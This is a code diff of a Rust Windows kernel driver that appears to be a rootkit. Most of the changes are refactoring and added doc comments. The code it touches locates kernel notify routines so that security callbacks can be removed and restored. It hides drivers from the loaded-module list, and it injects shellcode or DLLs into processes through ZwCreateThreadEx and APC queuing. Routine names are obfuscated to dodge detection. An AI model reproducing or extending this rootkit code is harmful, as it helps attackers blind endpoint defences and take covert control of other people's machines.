 /// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
 /// 
 /// # Returns
+/// 
 /// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
 /// 
 unsafe fn find_ps_create_process() -> Option<*mut u8> {
-    let mut name = utils::uni::str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode();
+    let mut name = str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode();
     let function_address = MmGetSystemRoutineAddress(&mut name);
 
     // e8b6010000  call  nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
@@ -23,10 +27,11 @@ unsafe fn find_ps_create_process() -> Option<*mut u8> {
 /// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine.
 /// 
 /// # Returns
+/// 
 /// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
 /// 
 unsafe fn find_ps_create_thread() -> Option<*mut u8> {
-    let mut name = utils::uni::str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
+    let mut name = str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
     let function_address = MmGetSystemRoutineAddress(&mut name);
     
     // 488d0d57d73d00  lea  rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
@@ -37,10 +42,11 @@ unsafe fn find_ps_create_thread() -> Option<*mut u8> {
 /// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine.
 /// 
 /// # Returns
+/// 
 /// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
 /// 
 unsafe fn find_ps_load_image() -> Option<*mut u8> {
-    let mut name = utils::uni::str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
+    let mut name = str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
     let function_address = MmGetSystemRoutineAddress(&mut name);  
     
     // 488d0d67d83d00  lea  rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
@@ -51,10 +57,11 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
 /// Finds the address of the `CmRegisterCallbackEx` routine.
 /// 
 /// # Returns
+/// 
 /// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
 /// 
 unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{
-    let mut name = utils::uni::str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode();
+    let mut name = str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode();
     let function_address = MmGetSystemRoutineAddress(&mut name);
 
     // e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff800`286e2b08)
@@ -84,6 +91,7 @@ unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{
 /// Finds the address of the `ObRegisterCallbacks` routine.
 /// 
 /// # Returns
+/// 
 /// - `Option<*mut FULL_OBJECT_TYPE>`: Some pointer to the address if found, None otherwise.
 /// 
 pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJECT_TYPE> {
@@ -103,9 +111,11 @@ pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJEC
 /// Finds the type of the callback and calls the function responsible for it.
 /// 
 /// # Parameters
+/// 
 /// - `callback`: target callback that will be called.
 /// 
 /// # Returns
+/// 
 /// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
 ///
 pub unsafe fn find_callback_address(callback: &Callbacks) -> Option<CallbackResult> {

driver/src/callback/ioctls.rs

@@ -12,15 +12,21 @@ use {
     }, 
 };
 
+/// Registers the IOCTL handlers for callback-related operations.
+///
+/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
+/// their respective IOCTL codes. The two operations supported are:
+///
+/// # Parameters
+/// 
+/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the callback-related
+///   IOCTL handlers will be inserted.
+///
 pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
-
     // Lists Callbacks.
-    ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
+    ioctls.insert(IOCTL_ENUMERATE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {        
-        log::info!("Received IOCTL_ENUMERATE_CALLBACK");
-        
         let mut information = 0;
         let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_CALLBACK) };
-        
         unsafe { (*irp).IoStatus.Information = information as u64 };
         
         match status {
@@ -31,11 +37,8 @@ pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
 
     // List Callbacks Removed.
     ioctls.insert(IOCTL_ENUMERATE_REMOVED_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-        log::info!("Received IOCTL_ENUMERATE_REMOVED_CALLBACK");
-        
         let mut information = 0;
         let status = unsafe { handle_callback!(irp, stack, CallbackInfoInput, CallbackInfoOutput, &mut information, IOCTL_ENUMERATE_REMOVED_CALLBACK) };
-        
         unsafe { (*irp).IoStatus.Information = information as u64 };
         
         match status {
@@ -46,7 +49,6 @@ pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
 
     // Remove Callback.
     ioctls.insert(IOCTL_REMOVE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-        log::info!("Received IOCTL_REMOVE_CALLBACK");
         let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_REMOVE_CALLBACK) };
         unsafe { (*irp).IoStatus.Information = 0 };
         status
@@ -54,7 +56,6 @@ pub fn get_callback_ioctls(ioctls: &mut HashMap<u32, IoctlHandler> ) {
 
     // Restore Callback.
     ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-        log::info!("Received IOCTL_RESTORE_CALLBACK");
         let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
         unsafe { (*irp).IoStatus.Information = 0 };
         status

driver/src/callback/mod.rs

@@ -1,6 +1,6 @@
 use {
     alloc::vec::Vec,
-    crate::includes::structs::{CallbackRestaure, CallbackRestaureOb}, 
+    crate::internals::structs::{CallbackRestaure, CallbackRestaureOb}, 
     shared::structs::{CallbackInfoInput, CallbackInfoOutput}, 
     spin::{lazy::Lazy, Mutex}, wdk_sys::NTSTATUS, 
 };
@@ -23,9 +23,11 @@ pub trait CallbackList {
     /// Restore a callback from the specified routine.
     /// 
     /// # Parameters
+    /// 
     /// - `target_callback`: Pointer to the callback information input.
     /// 
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
     ///
     unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS;
@@ -33,9 +35,11 @@ pub trait CallbackList {
     /// Removes a callback from the specified routine.
     /// 
     /// # Parameters
+    /// 
     /// - `target_callback`: Pointer to the callback information input.
     /// 
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
     ///
     unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS;
@@ -43,11 +47,13 @@ pub trait CallbackList {
     /// Searches for a module associated with a callback and updates callback information.
     /// 
     /// # Parameters
+    /// 
     /// - `target_callback`: Pointer to the callback information input.
     /// - `callback_info`: Pointer to the callback information output.
     /// - `information`: Pointer to a variable to store information size.
     /// 
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
     ///
     unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>;
@@ -55,11 +61,13 @@ pub trait CallbackList {
     /// List of callbacks currently removed.
     /// 
     /// # Parameters
+    /// 
     /// - `target_callback`: Pointer to the callback information input.
     /// - `callback_info`: Pointer to the callback information output.
     /// - `information`: Pointer to a variable to store information size.
     /// 
     /// # Returns
+    /// 
     /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
     ///
     unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> Result<(), NTSTATUS>;

driver/src/driver/ioctls.rs

@@ -7,16 +7,25 @@ use {
         structs::{DriverInfo, TargetDriver}
     }, 
     crate::{
-        driver::Driver, handle_driver, utils::ioctls::IoctlHandler
+        driver::Driver, handle, utils::ioctls::IoctlHandler
     },
 };
 
+/// Registers the IOCTL handlers for driver-related operations.
+///
+/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
+/// their respective IOCTL codes. The two operations supported are:
+///
+/// # Parameters
+/// 
+/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the driver-related
+///   IOCTL handlers will be inserted.
+///
 pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
-
     // Hiding / Unhiding a driver from loaded modules.
     ioctls.insert(IOCTL_HIDE_UNHIDE_DRIVER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_HIDE_UNHIDE_DRIVER");
-        let status = unsafe { handle_driver!(stack, Driver::driver_toggle, TargetDriver) };
+        let status = unsafe { handle!(stack, Driver::driver_toggle, TargetDriver) };
         unsafe { (*irp).IoStatus.Information = 0 };
         status
     }) as IoctlHandler);
@@ -26,7 +35,7 @@ pub fn get_driver_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
         log::info!("Received IOCTL_ENUMERATE_DRIVER");
         
         let mut information = 0;
-        let status = unsafe { handle_driver!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
+        let status = unsafe { handle!(irp, Driver::enumerate_driver, DriverInfo, &mut information) };
         
         unsafe { (*irp).IoStatus.Information = information as u64 };
 

driver/src/driver/mod.rs

@@ -4,13 +4,10 @@ use {
     ntapi::ntldr::LDR_DATA_TABLE_ENTRY, 
     core::sync::atomic::{AtomicPtr, Ordering},
     alloc::{boxed::Box, string::String, vec::Vec}, 
-    crate::utils::{
+    crate::utils::uni,
-        address::{get_function_address, get_module_base_address}, 
-        patterns::scan_for_pattern, uni
-    }, 
     shared::{
         structs::{
-            DriverInfo, HiddenDriverInfo, TargetDriver, DSE, LIST_ENTRY
+            DriverInfo, HiddenDriverInfo, TargetDriver, LIST_ENTRY
         }, 
         vars::MAX_DRIVER
     },  
@@ -50,7 +47,7 @@ impl Driver {
     /// # Parameters
     /// - `device`: A pointer to the `DEVICE_OBJECT` representing the driver to be hidden.
     ///
-    /// # Return
+    /// # Returns
     /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
     ///
     unsafe fn hide_driver(driver_name: &String) -> NTSTATUS {
@@ -107,7 +104,7 @@ impl Driver {
     /// # Parameters
     /// - `device`: A pointer to the `DEVICE_OBJECT` representing the driver to be hidden.
     ///
-    /// # Return
+    /// # Returns
     /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
     ///
     unsafe fn unhide_driver(driver_name: &str) -> NTSTATUS {
@@ -142,10 +139,12 @@ impl Driver {
     /// Enumerates loaded drivers and stores the information in the provided buffer.
     ///
     /// # Parameters
+    /// 
     /// - `driver_info`: A pointer to a buffer where `DriverInfo` structures will be stored.
     /// - `information`: A mutable reference to a `usize` that will store the total size of the information written.
     ///
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
     ///
     pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> Result<(), NTSTATUS> {

driver/src/includes/mod.rs

@@ -1,381 +0,0 @@
-#![allow(non_camel_case_types)]
-#![allow(dead_code)]
-
-use {
-    wdk_sys::*, 
-    bitfield::bitfield, 
-    winapi::ctypes::c_void,
-    shared::structs::LIST_ENTRY,
-    ntapi::ntpsapi::PPS_ATTRIBUTE_LIST, 
-};
-
-pub mod vad;
-
-pub mod structs {
-    use super::*;
-    use shared::vars::Callbacks;
-    use core::mem::ManuallyDrop;
-
-    #[repr(C)]
-    pub struct FULL_OBJECT_TYPE {
-        type_list: LIST_ENTRY,
-        name: UNICODE_STRING,
-        default_object: *mut c_void,
-        index: u8,
-        total_number_of_objects: u32,
-        pub total_number_of_handles: u32,
-        high_water_number_of_objects: u32,
-        high_water_number_of_handles: u32,
-        type_info: [u8; 0x78],
-        pub type_lock: _EX_PUSH_LOCK,
-        key: u32,
-        pub callback_list: LIST_ENTRY,
-    }
-    
-    #[repr(C)]
-    pub struct OBCALLBACK_ENTRY {
-        pub callback_list: LIST_ENTRY,
-        operations: OB_OPERATION,
-        pub enabled: bool,
-        pub entry: *mut OB_CALLBACK,
-        object_type: POBJECT_TYPE,
-        pub pre_operation: POB_PRE_OPERATION_CALLBACK,
-        pub post_operation: POB_POST_OPERATION_CALLBACK,
-        lock: KSPIN_LOCK
-    }
-    
-    #[repr(C)]
-    pub struct OB_CALLBACK {
-        version: u16,
-        operation_registration_count: u16,
-        registration_context: *mut c_void,
-        altitude_string: UNICODE_STRING,
-        entry_items: [OBCALLBACK_ENTRY; 1],
-        altitude_buffer: [u16; 1],
-    }
-    
-    pub struct PROCESS_SIGNATURE {
-        pub signature_level: u8,
-        pub section_seginature_level: u8,
-        pub protection: PS_PROTECTION,
-    }
-    
-    #[repr(C)]
-    #[derive(Debug, Clone, Copy)]
-    pub struct SystemModule {
-        pub section: *mut c_void,
-        pub mapped_base: *mut c_void,
-        pub image_base: *mut c_void,
-        pub size: u32,
-        pub flags: u32,
-        pub index: u8,
-        pub name_length: u8,
-        pub load_count: u8,
-        pub path_length: u8,
-        pub image_name: [u8; 256],
-    }
-    
-    #[repr(C)]
-    #[derive(Debug, Clone, Copy)]
-    pub struct SystemModuleInformation {
-        pub modules_count: u32,
-        pub modules: [SystemModule; 256],
-    }
-    
-    #[repr(C)]
-    #[derive(Debug, Clone, Copy)]
-    pub struct CM_CALLBACK {
-        pub list: LIST_ENTRY,
-        unknown1: [u64; 2],
-        context: u64,
-        pub function: u64,
-        altitude: UNICODE_STRING,
-        unknown2: [u64; 2],
-    }
-    
-    bitfield! {
-        pub struct _EX_PUSH_LOCK(u64);
-        impl Debug;
-        u64;
-        locked, set_locked: 0;
-        waiting, set_waiting: 1;
-        waking, set_waking: 2;
-        multiple_shared, set_multiple_shared: 3;
-        shared, set_shared: 63, 4;
-    }
-    
-    bitfield! {
-        pub struct PS_PROTECTION(u8);
-        pub u8, type_, set_type_: 2, 0;   
-        pub u8, audit, set_audit: 3;      
-        pub u8, signer, set_signer: 7, 4;
-    }
-
-    #[repr(C)]
-    #[derive(Default)]
-    pub struct CallbackRestaure {
-        pub index: usize,
-        pub callback: Callbacks,
-        pub address: u64,
-    }
-
-    #[repr(C)]
-    pub struct CallbackRestaureOb{
-        pub index: usize,
-        pub callback: Callbacks,
-        pub pre_operation: u64,
-        pub post_operation: u64,
-        pub entry: u64,
-    }
-
-    #[repr(C)]
-    pub struct MMVAD_SHORT {
-        pub vad_node: RTL_BALANCED_NODE,
-        pub starting_vpn: u32,
-        pub ending_vpn: u32,
-        pub starting_vpn_high: u8,
-        pub ending_vpn_high: u8,
-        pub commit_charge_high: u8,
-        pub spare_nt64_vad_uchar: u8,
-        pub reference_count: i32,
-        pub push_lock: usize,
-        pub u: Uunion,
-        pub u1: U1Union,
-        pub u5: U5Union,
-    }
-
-    #[repr(C)]
-    pub union Uunion {
-        pub long_flags: u32,
-        pub vad_flags: ManuallyDrop<MMVAD_FLAGS>,
-        pub private_vad_flags: ManuallyDrop<MM_PRIVATE_VAD_FLAGS>,
-        pub graphics_vad_flags: ManuallyDrop<MM_GRAPHICS_VAD_FLAGS>,
-        pub shared_vad_flags: ManuallyDrop<MM_SHARED_VAD_FLAGS>,
-        pub volatile_long: u32,
-    }
-
-    #[repr(C)]
-    pub union U1Union {
-        pub long_flags1: u32,
-        pub vad_flags1: ManuallyDrop<MMVAD_FLAGS1>,
-    }
-
-    #[repr(C)]
-    pub union U5Union {
-        pub event_list_ulong_ptr: u64,
-        pub starting_vpn_higher: u8,
-    }
-
-    bitfield! {
-        #[repr(C)]
-        pub struct MM_PRIVATE_VAD_FLAGS(u32);
-        impl Debug;
-        impl Default;
-        u32;
-        pub lock, set_lock: 1;
-        pub lock_contended, set_lock_contended: 1;
-        pub delete_in_progress, set_delete_in_progress: 1;
-        pub no_change, set_no_change: 1;
-        pub vad_type, set_vad_type: 6, 4;
-        pub protection, set_protection: 11, 7;
-        pub preferred_node, set_preferred_node: 18, 12;
-        pub page_size, set_page_size: 19, 20;
-        pub private_memory_always_set, set_private_memory: 21;
-        pub write_watch, set_write: 22;
-        pub fixed_large_page_size, set_page_large: 23;
-        pub zero_fill_pages_optional, set_zero_fill: 24;
-        pub graphics, set_graphics: 25;
-        pub enclave, set_enclave: 26;
-        pub shadow_stack, set_shadow_stack: 27;
-        pub physical_memory_pfns_referenced, set_physical: 28;
-    }
-
-    bitfield! {
-        #[repr(C)]
-        pub struct MM_SHARED_VAD_FLAGS(u32);
-        impl Debug;
-        impl Default;
-        u32;
-        pub lock, set_lock: 1;
-        pub lock_contended, set_lock_contended: 1;
-        pub delete_in_progress, set_delete_in_progress: 1;
-        pub no_change, set_no_change: 1;
-        pub vad_type, set_vad_type: 6, 4;
-        pub protection, set_protection: 11, 7;
-        pub preferred_node, set_preferred_node: 18, 12;
-        pub page_size, set_page_size: 19, 20;
-        pub private_memory_always_set, set_private_memory: 21;
-        pub private_fixup, set_private_fixup: 22;
-        pub hot_patch_state, set_hot_patch_state: 24, 23;
-    }
-
-    bitfield! {
-        #[repr(C)]
-        pub struct MMVAD_FLAGS(u32);
-        impl Debug;
-        u32;
-        pub lock, set_lock: 0;
-        pub lock_contended, set_lock_contended: 1;
-        pub delete_in_progress, set_delete_in_progress: 2;
-        pub no_change, set_no_change: 3;
-        pub vad_type, set_vad_type: 6, 4;
-        pub protection, set_protection: 11, 7;
-        pub preferred_node, set_preferred_node: 18, 12;
-        pub page_size, set_page_size: 19, 20;
-        pub private_memory, set_private_memory: 21;
-    }
-
-    bitfield! {
-        #[repr(C)]
-        pub struct MM_GRAPHICS_VAD_FLAGS(u32);
-        impl Debug;
-        impl Default;
-        u32;
-        pub lock, set_lock: 1;
-        pub lock_contended, set_lock_contended: 1;
-        pub delete_in_progress, set_delete_in_progress: 1;
-        pub no_change, set_no_change: 1;
-        pub vad_type, set_vad_type: 6, 4;
-        pub protection, set_protection: 11, 7;
-        pub preferred_node, set_preferred_node: 18, 12;
-        pub page_size, set_page_size: 19, 20;
-        pub private_memory_always_set, set_private_memory: 21;
-        pub write_watch, set_write: 22;
-        pub fixed_large_page_size, set_page_large: 23;
-        pub zero_fill_pages_optional, set_zero_fill: 24;
-        pub graphics_always_set, set_graphics: 25;
-        pub graphics_use_coherent, set_graphics_use: 26;
-        pub graphics_no_cache, set_graphics_no_cache: 27;
-        pub graphics_page_protection, set_graphics_page_protection: 30, 28;
-    }
-    
-    bitfield! {
-        #[repr(C)]
-        pub struct MMVAD_FLAGS1(u32);
-        impl Debug;
-        pub commit_charge, set_commit_charge: 30, 0;    
-        pub mem_commit, set_mem_commit: 31;
-    }
-}
-
-pub mod types {
-    use super::*; 
-    
-    pub type DRIVER_INITIALIZE = core::option::Option<unsafe extern "system" fn(
-        DriverObject: &mut _DRIVER_OBJECT,
-        RegistryPath: PCUNICODE_STRING,
-    ) -> NTSTATUS>;
-
-    pub type ZwCreateThreadExType = unsafe extern "system" fn (
-        ThreadHandle: PHANDLE,
-        DesiredAccess: ACCESS_MASK,
-        ObjectAttributes: POBJECT_ATTRIBUTES,
-        ProcessHandle: HANDLE,
-        StartRoutine: PVOID,
-        Argument: PVOID,
-        CreateFlags: SIZE_T,
-        ZeroBits: usize,
-        StackSize: usize,
-        MaximumStackSize: usize,
-        AttributeList: PPS_ATTRIBUTE_LIST
-    ) -> NTSTATUS;
-
-    pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "system" fn(
-        apc: PKAPC,
-    ) -> NTSTATUS>;
-
-    pub type PKNORMAL_ROUTINE =  Option<unsafe extern "system" fn(
-        normal_context: *mut PVOID,
-        system_argument1: *mut PVOID,
-        system_argument2: *mut PVOID
-    ) -> NTSTATUS>;
-
-    pub type PKKERNEL_ROUTINE = unsafe extern "system" fn(
-        apc: PKAPC,
-        normal_routine: *mut PKNORMAL_ROUTINE,
-        normal_context: *mut PVOID,
-        system_argument1: *mut PVOID,
-        system_argument2: *mut PVOID 
-    );
-}
-
-pub mod enums {
-    #[repr(C)]
-    pub enum KAPC_ENVIROMENT {
-        OriginalApcEnvironment,
-        AttachedApcEnvironment,
-        CurrentApcEnvironment,
-        InsertApcEnvironment
-    }   
-}
-
-extern "system" {
-    pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB;
-   
-    pub fn PsGetCurrentThread() -> PETHREAD;
-    
-    pub fn IoCreateDriver(
-        driver_name: PUNICODE_STRING,
-        driver_initialize: types::DRIVER_INITIALIZE,
-    ) -> NTSTATUS;
-
-    pub fn MmCopyVirtualMemory(
-        source_process: PEPROCESS,
-        source_address: PVOID,
-        target_process: PEPROCESS,
-        target_address: PVOID,
-        buffer_size: SIZE_T,
-        previous_mode: KPROCESSOR_MODE,
-        return_size: PSIZE_T,
-    );
-
-    pub fn ObReferenceObjectByName(
-        object_name: PUNICODE_STRING,
-        attributes: u32,
-        access_state: PACCESS_STATE,
-        desired_access: ACCESS_MASK,
-        object_type: POBJECT_TYPE,
-        access_mode: KPROCESSOR_MODE,
-        parse_context: PVOID,
-        object: *mut PVOID,
-    );
-
-    pub fn KeRaiseIrql(new_irql: KIRQL, old_irql: PKIRQL);
-
-    pub fn KeInitializeApc(
-        apc: PRKAPC,
-        thread: PETHREAD,
-        environment: enums::KAPC_ENVIROMENT,
-        kernel_routine: types::PKKERNEL_ROUTINE,
-        rundown_routine: types::PKRUNDOWN_ROUTINE,
-        normal_routine: types::PKNORMAL_ROUTINE,
-        apc_mode: KPROCESSOR_MODE,
-        normal_context: PVOID
-    );
-
-    pub fn KeTestAlertThread(
-        alert_mode: KPROCESSOR_MODE
-    );
-
-    pub fn KeInsertQueueApc(
-        apc: PRKAPC,
-        system_argument1: PVOID,
-        system_argument2: PVOID,
-        increment: KPRIORITY
-    ) -> bool;
-
-    pub fn ZwProtectVirtualMemory(
-        ProcessHandle: HANDLE,
-        BaseAddress: *mut PVOID,
-        RegionSize: PSIZE_T,
-        NewProtect: ULONG,
-        OldProtect: PULONG
-    ) -> NTSTATUS;
-
-    pub fn ZwOpenThread(
-        handle: *mut HANDLE,
-        desired_access: ACCESS_MASK,
-        object_attributes: *mut OBJECT_ATTRIBUTES,
-        client_id: *mut CLIENT_ID
-    ) -> NTSTATUS;
-}

driver/src/injection/callbacks.rs

@@ -1,5 +1,8 @@
 use wdk_sys::{ntddk::{ExFreePool, PsIsThreadTerminating}, PKAPC, PVOID, _MODE::UserMode};
-use crate::includes::{types::PKNORMAL_ROUTINE, KeTestAlertThread, PsGetCurrentThread};
+use crate::internals::{
+    types::PKNORMAL_ROUTINE, 
+    externs::{KeTestAlertThread, PsGetCurrentThread}
+};
 
 pub unsafe extern "system" fn kernel_apc_callback(
     apc: PKAPC,

driver/src/injection/ioctls.rs

@@ -1,25 +1,37 @@
 use {
+    alloc::boxed::Box, 
+    hashbrown::HashMap,
+    wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS},
     crate::{
-        handle_injection, 
+        handle, 
         injection::{InjectionDLL, InjectionShellcode}, 
         utils::ioctls::IoctlHandler
     }, 
-    alloc::boxed::Box, 
-    hashbrown::HashMap, 
     shared::{
-        ioctls::{IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, IOCTL_INJECTION_SHELLCODE_THREAD}, 
+        ioctls::{
+            IOCTL_INJECTION_DLL_THREAD, IOCTL_INJECTION_SHELLCODE_APC, 
+            IOCTL_INJECTION_SHELLCODE_THREAD
+        }, 
         structs::TargetInjection
     }, 
-    wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}
 };
 
+/// Registers the IOCTL handlers for injection-related operations.
+///
+/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
+/// their respective IOCTL codes. The two operations supported are:
+///
+/// # Parameters
+/// 
+/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the injection-related
+///   IOCTL handlers will be inserted.
+///
 pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
-
     // Process injection using ZwCreateThreadEx.
     ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
 
-        let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
+        let status = unsafe { handle!(stack, InjectionShellcode::injection_thread, TargetInjection) };
         
         unsafe { (*irp).IoStatus.Information = 0 };
         
@@ -33,7 +45,7 @@ pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
     ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
         
-        let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
+        let status = unsafe { handle!(stack, InjectionShellcode::injection_apc, TargetInjection) };
         
         unsafe { (*irp).IoStatus.Information = 0 };
         
@@ -47,7 +59,7 @@ pub fn get_injection_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
     ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
         log::info!("Received IOCTL_INJECTION_DLL_THREAD");
         
-        let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
+        let status = unsafe { handle!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
         
         unsafe { (*irp).IoStatus.Information = 0 };
 

driver/src/injection/mod.rs

@@ -4,23 +4,32 @@ use {
     obfstr::obfstr,
     shared::structs::TargetInjection, 
     callbacks::{kernel_apc_callback, user_apc_callback}, 
-    core::{ffi::c_void, mem::{size_of, transmute}, ptr::null_mut}, 
+    core::{
+        ffi::c_void, ptr::null_mut,
+        mem::{size_of, transmute}, 
+    }, 
     wdk_sys::{
+        *,
         ntddk::{
             IoGetCurrentProcess, ZwAllocateVirtualMemory, 
             ZwClose, ZwOpenProcess
         },
-        _MODE::{KernelMode, UserMode}, *
+        _MODE::{KernelMode, UserMode},
     },
     crate::{
-        includes::{
+        process::Process, 
+        internals::{
             enums::KAPC_ENVIROMENT::OriginalApcEnvironment, 
             types::{ZwCreateThreadExType, PKNORMAL_ROUTINE}, 
-            KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory, ZwProtectVirtualMemory
+            externs::{
+                KeInitializeApc, KeInsertQueueApc, MmCopyVirtualMemory, 
+                ZwProtectVirtualMemory
+            }
         }, 
-        process::Process, 
         utils::{
-            find_thread_alertable, get_module_peb, handles::Handle, patterns::find_zw_function, pool::PoolMemory, read_file, InitializeObjectAttributes
+            find_thread_alertable, get_module_peb, handles::Handle, 
+            patterns::find_zw_function, pool::PoolMemory, read_file, 
+            InitializeObjectAttributes
         } 
     },
 };
@@ -35,9 +44,11 @@ impl InjectionShellcode {
     /// Injection Shellcode in Thread.
     ///
     /// # Parameters
+    /// 
     /// - `target`: The target process identifier (PID) and the path containing the injection shellcode.
     ///
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     pub unsafe fn injection_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
@@ -117,9 +128,11 @@ impl InjectionShellcode {
     /// Injection Shellcode in APC.
     ///
     /// # Parameters
+    /// 
     /// - `target`: The target process identifier (PID) and the path containing the injection shellcode.
     ///
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     pub unsafe fn injection_apc(target: *mut TargetInjection) -> Result<(), NTSTATUS> {
@@ -218,9 +231,11 @@ impl InjectionDLL {
     /// DLL Injection.
     ///
     /// # Parameters
+    /// 
     /// - `target`: The target process identifier (PID) and the path containing the injection dll.
     ///
-    /// # Return
+    /// # Returns
+    /// 
     /// - `NTSTATUS`: A status code indicating success or failure of the operation.
     ///
     pub unsafe fn injection_dll_thread(target: *mut TargetInjection) -> Result<(), NTSTATUS> {

driver/src/internals/enums.rs

@@ -0,0 +1,13 @@
+#[repr(C)]
+pub enum KAPC_ENVIROMENT {
+    OriginalApcEnvironment,
+    AttachedApcEnvironment,
+    CurrentApcEnvironment,
+    InsertApcEnvironment
+}
+
+#[derive(Clone, Copy)]
+pub enum COMUNICATION_TYPE {
+    TCP = 3,
+    UDP = 1
+}

driver/src/internals/externs.rs

@@ -0,0 +1,76 @@
+use wdk_sys::*;
+use super::*;
+
+extern "C" {
+    pub static mut IoDriverObjectType: *mut *mut _OBJECT_TYPE;
+}
+
+#[link(name = "ntoskrnl")] 
+extern "system" {
+    pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB;
+   
